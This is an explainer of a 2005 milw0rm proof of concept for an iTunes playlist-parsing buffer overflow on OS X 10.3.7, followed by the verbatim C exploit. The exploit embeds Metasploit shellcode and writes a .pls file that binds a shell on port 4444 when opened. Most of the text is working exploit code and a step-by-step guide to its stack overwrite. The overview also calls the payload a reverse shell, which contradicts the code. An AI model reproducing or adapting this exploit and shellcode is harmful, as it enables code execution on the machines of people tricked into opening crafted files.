Apple iTunes Playlist Parsing Local Buffer Overflow Explained

Apple iTunes Playlist Parsing Local Buffer Overflow Explained
What this paper is
This paper details a local buffer overflow vulnerability in Apple's iTunes application on macOS 10.3.7. The exploit works by creating a specially crafted .pls (playlist) file. When iTunes attempts to parse this malicious playlist, it triggers the buffer overflow, allowing an attacker to execute arbitrary code. The provided Proof-of-Concept (PoC) code generates this .pls file and includes shellcode that establishes a reverse shell connection on port 4444.
Simple technical breakdown
The core of the vulnerability lies in how iTunes handles .pls files. These files are typically used to list media files for playback. The exploit crafts a .pls file with an excessively long string that overflows a buffer within iTunes' parsing logic. This overflow overwrites critical memory locations, including the return address on the stack. By carefully controlling the overflow, the attacker can redirect the program's execution flow to their injected shellcode, which in this case, sets up a bindshell.
Complete code and payload walkthrough
The provided C code is a program designed to generate the malicious .pls file. Let's break down its components:
1. Header and Comments:
/*
* PoC for iTunes on OS X 10.3.7
* -( nemo@felinemenace.org )-
*
* Generates a .pls file, when loaded in iTunes it
* binds a shell to port 4444.
* Shellcode contains no \x00 or \x0a's.
*
* ... (sample output and thanks) ...
*/These comments explain the purpose of the script, the target system, the vulnerability, and the payload's functionality (bindshell on port 4444). It also notes that the shellcode is designed to avoid null bytes (\x00) and newlines (\x0a), which are often problematic in exploit development.
2. Includes and Definitions:
#include <stdio.h>
#include <strings.h>
#define BUFSIZE 1598 + 4stdio.h: For standard input/output functions likeprintf,fopen,fwrite,fclose.strings.h: For string manipulation functions likememsetandbcopy.BUFSIZE: Defines the total size of the buffer that will be used to construct the malicious playlist entry. It's set to 1598 + 4 bytes. This size is crucial for triggering the overflow.
3. Shellcode:
char shellcode[] = /* large ugly shellcode generated by http://metasploit.com */
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa"
"\x38\xa5\xf8\x4a\x3c\xc0\xee\x83\x60\xc6\xb7\xfb\x38\x85\x07\xee"
// ... (many more bytes) ...
"\x92\x83\xb3\x57\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x63\xb7\xf3"
"\xc1\xe1\xde\x95\xc1\xe0\xc4\x93\xee\x83\xb7\xfb";This is the actual payload that will be executed. It's a sequence of hexadecimal bytes. The comments indicate it was generated by Metasploit. This shellcode's purpose is to:
- Create a socket.
- Bind it to a specific port (4444 in this case).
- Listen for incoming connections.
- When a connection is established, duplicate the file descriptors for standard input, output, and error to the socket, effectively providing a command shell to the remote attacker.
- The absence of
\x00and\x0ais a common technique to ensure compatibility with string-based parsing or functions that might misinterpret these characters.
4. main Function:
int main(int ac, char **av)
{
int n,*p;
unsigned char * q;
char buf[BUFSIZE];
FILE *pls;
int offset=0x3DA8;
char playlist[] = {
"[playlist]\n"
"NumberOfEntries=1\n"
"File1=http://"
};
// ... (rest of the function) ...
}ac,av: Command-line arguments.acis the count,avis an array of strings.av[0]is the program name,av[1]is expected to be the output filename, andav[2](if present) is an optional offset.n,p: Integer variables.pis a pointer to an integer.q: A pointer to an unsigned character.buf[BUFSIZE]: The main buffer used to construct the malicious playlist entry.pls: A file pointer for the.plsfile.offset: An integer variable initialized to0x3DA8. This value represents the distance from the start of the buffer to the location where the return address will be overwritten. This is a critical value for successful exploitation and often needs to be determined through debugging or fuzzing.playlist[]: A character array containing the fixed header of a.plsfile.
5. Initialization and Argument Handling:
printf("-( fm-eyetewnz )-\n");
printf("-( nemo@felinemenace.org )-\n");
memset(buf,'\x60',BUFSIZE);
bcopy(shellcode, buf + (BUFSIZE - 44 - sizeof(shellcode)),sizeof(shellcode) - 1); // avoid mangled stack.
q = buf + sizeof(buf) - 5;
p = (int *)q;
if(!(av[1])) {
printf("usage: %s <filename (.pls)> [offset]\n",*av);
exit(1);
}
if(av[2])
offset = atoi(av[2]);- Prints the author's banner.
memset(buf,'\x60',BUFSIZE);: Fills thebufwith the character '`' (ASCII 0x60). This is a common technique to create a predictable pattern in the buffer before injecting the shellcode and overwrite data.bcopy(shellcode, buf + (BUFSIZE - 44 - sizeof(shellcode)),sizeof(shellcode) - 1);: This is where the shellcode is placed into thebuf.buf + (BUFSIZE - 44 - sizeof(shellcode)): This calculates the destination address withinbuf. The- 44is likely to account for other data placed after the shellcode (like the return address and padding), andsizeof(shellcode) - 1ensures the entire shellcode (minus the last byte, which might be a null terminator if it were a C string, but here it's just a byte count) is copied. This placement is crucial: the shellcode is put at the end of the buffer, and the overflow will overwrite the return address with a pointer that jumps back into this buffer, to the shellcode.sizeof(shellcode) - 1: The number of bytes to copy.
q = buf + sizeof(buf) - 5;:qis set to point to the last 5 bytes ofbuf.p = (int *)q;:pis cast to an integer pointer, so it can be used to write an integer value (the return address) into these last bytes.- Argument checking: It verifies if a filename is provided (
av[1]). If not, it prints usage instructions and exits. - Offset handling: If a second argument (
av[2]) is provided, it's parsed as an integer and used to override the defaultoffset.
6. Overwriting the Return Address:
*p = (0xc0000000 - offset);// 0xbfffc258;*p = (0xc0000000 - offset);: This is the core of the exploit's control over execution flow. It calculates a value and writes it to the memory location pointed to byp(the end ofbuf). This value is intended to overwrite the return address on the stack.0xc0000000: This is a common base address for stack memory on some older Unix-like systems (like macOS at the time).offset: The previously defined offset.- The calculation
0xc0000000 - offsetaims to produce an address that points within thebufwhere the shellcode is located. When the vulnerable function returns, it will attempt to jump to this calculated address. The comment// 0xbfffc258;is a specific example of what this address might look like on a particular system configuration.
7. File Creation and Writing:
if(!(pls = fopen(*(av+1),"w+"))) {
printf("error opening file: %s.\n", *(av +1));
exit(1);
}
printf("Creating file: %s.\n",*(av+1));
printf("Bindshell on port: 4444\n");
fwrite(playlist,sizeof(playlist) - 1,1,pls);
fwrite(buf,sizeof(buf) - 1,1,pls);
fclose(pls);fopen(*(av+1),"w+"): Opens the file specified by the first command-line argument (av[1]) in write mode (w+).- Error handling: Checks if the file could be opened.
- Prints confirmation messages.
fwrite(playlist,sizeof(playlist) - 1,1,pls);: Writes the fixed.plsheader to the file.sizeof(playlist) - 1is used becauseplaylistis a C-style string, and we don't want to write the null terminator.fwrite(buf,sizeof(buf) - 1,1,pls);: Writes the constructed buffer (buf), which contains the padding, the shellcode, and the overwritten return address, to the.plsfile. Again,sizeof(buf) - 1is used to avoid writing a null terminator ifbufwere treated as a string.fclose(pls);: Closes the file.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
* PoC for iTunes on OS X 10.3.7
* -( nemo@felinemenace.org )-
*
* Generates a .pls file, when loaded in iTunes it
* binds a shell to port 4444.
* Shellcode contains no \x00 or \x0a's.
*
* sample output:
*
* -[nemo@gir:~]$ ./fm-eyetewnz foo.pls
* -( fm-eyetewnz )-
* -( nemo@felinemenace.org )-
* Creating file: foo.pls.
* Bindshell on port: 4444
* -[nemo@gir:~]$ open foo.pls
* -[nemo@gir:~]$ nc localhost 4444
* id
* uid=501(nemo) gid=501(nemo) groups=501(nemo)
*
* Thanks to andrewg, mercy and core.
* Greetings to pulltheplug and felinemenace.
*
* -( need a challenge? )-
* -( http://pulltheplug.org )-
*/
#include <stdio.h>
#include <strings.h>
#define BUFSIZE 1598 + 4
char shellcode[] = /* large ugly shellcode generated by http://metasploit.com */
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa"
"\x38\xa5\xf8\x4a\x3c\xc0\xee\x83\x60\xc6\xb7\xfb\x38\x85\x07\xee"
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a"
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba"
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\xd6\xe3\xb7\xf9"
"\xd6\x03\xb7\xfa\xd6\x23\xb7\xfd\xd6\x83\xb7\x9a\xaa\x83\xb7\xf9"
"\x92\x83\xb5\x83\x92\xfd\xac\x83\xa6\x83\xb7\xf6\xee\x81\xa6\xa7"
"\xee\x83\xb7\xfb\x92\x0b\xb5\x5d\xd6\x23\xb7\xeb\xd6\x83\xb7\x93"
"\x91\x40\x44\x83\xaa\x83\xb7\xf9\x92\x83\xb5\x83\xd6\x83\xb7\x91"
"\x91\x40\x44\x83\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x40\x44\x83"
"\xd6\x83\xb7\xe5\xd6\x03\xb7\xeb\x7e\x02\x48\x13\xd6\x22\x48\x13"
"\xd6\x02\x48\x0b\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x92\xfd\xac\x83"
"\xd6\x23\xb7\xf9\xd6\x83\xb7\xa1\x91\x40\x44\x83\x92\x27\x9c\x83"
"\xaa\x83\xb7\xf9\x92\x83\xb5\x83\xd6\x26\x48\x04\xc2\x86\x48\x04"
"\xae\x01\x48\x1e\xd6\x83\xb7\xb9\xaa\x83\xb7\xf9\x92\x83\xb5\x83"
"\x92\x26\x9d\x82\xae\x01\x48\x06\x92\xeb\xb5\x5d\xd6\xe0\xb7\xd3"
"\x7e\xe2\x48\x03\x7e\x22\x48\x07\xd6\x02\x48\x03\xd6\x83\xb7\xc0"
"\x92\x83\xb3\x57\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x63\xb7\xf3"
"\xc1\xe1\xde\x95\xc1\xe0\xc4\x93\xee\x83\xb7\xfb";
int main(int ac, char **av)
{
int n,*p;
unsigned char * q;
char buf[BUFSIZE];
FILE *pls;
int offset=0x3DA8;
char playlist[] = {
"[playlist]\n"
"NumberOfEntries=1\n"
"File1=http://"
};
printf("-( fm-eyetewnz )-\n");
printf("-( nemo@felinemenace.org )-\n");
memset(buf,'\x60',BUFSIZE);
bcopy(shellcode, buf + (BUFSIZE - 44 - sizeof(shellcode)),sizeof(shellcode) - 1); // avoid mangled stack.
q = buf + sizeof(buf) - 5;
p = (int *)q;
if(!(av[1])) {
printf("usage: %s <filename (.pls)> [offset]\n",*av);
exit(1);
}
if(av[2])
offset = atoi(av[2]);
*p = (0xc0000000 - offset);// 0xbfffc258;
if(!(pls = fopen(*(av+1),"w+"))) {
printf("error opening file: %s.\n", *(av +1));
exit(1);
}
printf("Creating file: %s.\n",*(av+1));
printf("Bindshell on port: 4444\n");
fwrite(playlist,sizeof(playlist) - 1,1,pls);
fwrite(buf,sizeof(buf) - 1,1,pls);
fclose(pls);
}
// milw0rm.com [2005-01-16]